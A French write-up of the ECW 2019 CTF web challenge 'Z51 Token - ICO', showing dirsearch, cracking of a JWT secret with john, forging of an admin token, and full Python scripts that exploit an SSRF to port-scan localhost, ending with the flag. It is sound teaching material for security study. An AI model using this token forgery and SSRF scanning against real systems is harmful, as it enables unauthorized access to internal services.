ECW 2019 CTF Qualification - Z51 Token - ICO
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| ECW 2019 CTF Qualification | Z51 Token - ICO | Web | 150 | 32 |
Le DEEP (Dispositif d’Enregistrement Électronique partagé) est l’avenir de la monnaie mondiale, ce n’est absolument pas une arnaque, regardez par vous même :
TL;DR
Le site utilise un JWT Token comme cookie de session. Une fois cracké avec l’option john —rules, nous obtenons une SSRF avec un endpoint interne sur un port différent. Nous avons dû faire un portscan à travers la SSRF pour récupérer le flag.
Méthodologie
Lorsque nous arrivons sur le site, nous obtenons la page suivante :
Aucun champ de saisie sur le site, lançons un dirsearch.
Dirsearch
dirsearch -u https://web_z51ico.challenge-ecw.fr -c "session=[REDACTED]" -e .
Le scan a été plutôt long. Nous obtenons les endpoints suivants :
- /admin
- /home
- /internal
L’endpoint Admin nous demande d’être admin et l’endpoint Internal nous demande de « venir de l’interne ».
Token JWT
Si nous regardons nos cookies, nous en avons 2 : celui de la plateforme du CTF et un autre :
sess_key=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpY29uIjoiaHR0cHM6Ly9pY29ucy1mb3ItZnJlZS5jb20vZnJlZS1pY29ucy9wbmcvNTEyLzEwNTQ5OTAucG5nIiwiaXNfYWRtaW4iOiJGYWxzZSIsInVzZXIiOiJndWVzdCIsInBhc3MiOiJndWVzdCJ9.EFZRo-JxSuramqIOTioeW6_AZabDQ3IbW0IqnY2ULuQ9xER7JaTkX0U-61Z0IZ5QYkK1zbtGdwlsPLJqUuscaA
Il s’agit d’un JWT token. Utilisons JWT.io pour analyser ce token :
Ce token utilise l’algorithme HS512, possède 4 champs dont un intéressant : is_admin. Comme la signature est vérifiée, il n’y a aucun moyen de forger un autre token à moins de disposer du secret. Nous allons devoir bruteforce ce secret
Bruteforce
C’était la partie la plus difficile : le mot de passe n’était ni dans Seclist, Rockyou, DarkCode, … J’ai échoué sur cette partie et j’ai décidé de creuser d’autres endpoints (comme un bypass pour /internal), sans aucun résultat. En insistant davantage, on peut utiliser john avec des règles de combinaison pour générer de nouveaux mots de passe à partir d’une wordlist donnée. J’ai décidé d’utiliser la wordlist rockyou.txt et l’option --rules.
Pour cela, vous devez convertir votre token dans un format compatible avec john. J’ai utilisé jwt2john.py pour cela.
python3 jwt2john.py eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpY29uIjoiaHR0cHM6Ly9pY29ucy1mb3ItZnJlZS5jb20vZnJlZS1pY29ucy9wbmcvNTEyLzEwNTQ5OTAucG5nIiwiaXNfYWRtaW4iOiJGYWxzZSIsInVzZXIiOiJndWVzdCIsInBhc3MiOiJndWVzdCJ9.EFZRo-JxSuramqIOTioeW6_AZabDQ3IbW0IqnY2ULuQ9xER7JaTkX0U-61Z0IZ5QYkK1zbtGdwlsPLJqUuscaA > jwt.john
Nous pouvons ensuite bruteforce le token avec john :
john --wordlist=rockyou.txt --rules=ALL jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA512 [password is key, SHA512 256/256 AVX2 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spacealiens (?)
1g 0:00:00:17 DONE (2019-10-18 11:51) 0.05767g/s 2678Kp/s 2678Kc/s 2678KC/s jenny..Tweety
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Nous obtenons le secret : spacealiens.
Nouveau token
Maintenant que nous avons notre secret, forgeons notre token avec JWT.io : collez votre token, changez le secret et passez is_admin à True.
Remplacez votre ancien token par le nouveau (remplacez le cookie : F12 -> storage) et accédez à la page /admin :
SSRF
Si nous regardons la page admin, nous avons une image (non accessible ici). Si nous changeons l’image dans notre token (champ icon), l’image s’affiche :
Nous pouvons remarquer que l’image est affichée en base64 dans le code source html et qu’aucune autre requête n’est effectuée par notre navigateur, ce qui signifie que c’est le serveur lui-même qui effectue la requête vers l’image :
<p>
<strong>NOTE:</strong> Wallet Master key is stored on this server until the 6G deployment is over on Uranus.
</p>
<p class="s1-txt3 txt-center p-l-15 p-r-15 p-t-25">
<img width="100" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB9AAAAfQCAYAAACaOMR5AAAABHNCSAQkoiBJy8MiLO1C2sKqhtPW9Ba8cEBC5VKLguUq9wCBfJ8/JrQeQOWyM7+ZPa/XWvyhDLPfGf5h78/s[...]p46jCRJkiRJKiz2RofG3kiSlpR7DuiS1Mw+PL9oCPB9oFviOJnYtWsXCxYsYN68eezdu7dZrvn444/zX/mSqf1D1I++23XxYuXJgdd9yxd8qgPJrkc0k+2Vp7qHcMA==">
</p>
Exploit SSRF
Après avoir essayé de récupérer une url aléatoire (pas une image), j’ai découvert que le contenu de la page web est lui aussi encodé en base64, que l’image soit valide ou non. Nous pouvons essayer de récupérer des fichiers internes ; pour cela, j’ai décidé d’écrire un script pour afficher le contenu d’un fichier donné.
import base64
import hashlib
import hmac
import json
import requests
url = "https://web_z51ico.challenge-ecw.fr/admin"
cookie_session = "[REDACTED]"
def base64_url_encode(inp):
inp = unicode(base64.b64encode(inp))
return inp.translate(dict(zip(map(ord, u'-_'), u'+/'))).strip("=")
def gen_token(data):
p1 = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9"
data = base64_url_encode(json.dumps(data))
sign = base64_url_encode(hmac.new("spacealiens", p1+"."+data, hashlib.sha512).digest())
new_token = p1+"."+data+"."+sign
return new_token
def extractRep(data):
if "base64" not in data:
return "[ERROR]"
return base64.b64decode(data.split("base64,")[1].split('"')[0])
def md5(data):
return hashlib.md5(data).hexdigest()
def getRep(payload):
data = {
"icon": payload,
"is_admin": "True",
"user": "guest",
"pass": "guest"
}
token = gen_token(data)
c = {
"session":cookie_session,
"sess_key":token
}
r = requests.get(url,cookies=c, allow_redirects=False)
return extractRep(r.text)
if __name__ == "__main__":
print(getRep("https://aperikube.fr"))
Si nous exécutons le script, nous obtenons le code source html de https://aperikube.fr.
Nous pouvons essayer d’atteindre des fichiers via le protocole file:// mais cela n’a pas fonctionné. Comme nous n’avons pas obtenu le contenu de /internal, nous pouvons utiliser notre SSRF pour accéder à cette page « depuis l’interne ». Malheureusement, la page n’est pas accessible via https://localhost/internal. Peut-être y a-t-il un reverse proxy et le service tourne-t-il sur un autre port ? (https://localhost:XXXX/internal) Faisons un port scan directement sur /internal !
import base64
import hashlib
import hmac
import json
import requests
url = "https://web_z51ico.challenge-ecw.fr/admin"
cookie_session = "[RECACTED]"
def base64_url_encode(inp):
inp = unicode(base64.b64encode(inp))
return inp.translate(dict(zip(map(ord, u'-_'), u'+/'))).strip("=")
def gen_token(data):
p1 = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9"
data = base64_url_encode(json.dumps(data))
sign = base64_url_encode(hmac.new("spacealiens", p1+"."+data, hashlib.sha512).digest())
new_token = p1+"."+data+"."+sign
return new_token
def extractRep(data):
if "base64" not in data:
return "[ERROR]"
return base64.b64decode(data.split("base64,")[1].split('"')[0])
def md5(data):
return hashlib.md5(data).hexdigest()
def getRep(payload):
data = {
"icon": payload,
"is_admin": "True",
"user": "guest",
"pass": "guest"
}
token = gen_token(data)
c = {
"session":cookie_session,
"sess_key":token
}
r = requests.get(url,cookies=c, allow_redirects=False)
rep = md5(extractRep(r.text))
if rep == "d3a0dc73e921bae590eedb825821fe75":
rep = "[:(]" # No answer
else:
rep = "[!!!!!!!!!!!!!!!]"
print(rep+" << ["+payload+"]")
print(extractRep(r.text))
if __name__ == "__main__":
# TOP 1000 used TCP ports
for i in [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389]:
getRep("http://localhost:"+str(i)+"/internal")
Finalement, nous obtenons un port valide : 4242.
[!!!!!!!!!!!!!!!] << [http://localhost:4242/internal]
The wallet private key is ECW{624dcb1923446d4011e212ed59cb5da6382011fd1e8aa6a822902aa1f4213f73}
Flag
ECW{624dcb1923446d4011e212ed59cb5da6382011fd1e8aa6a822902aa1f4213f73}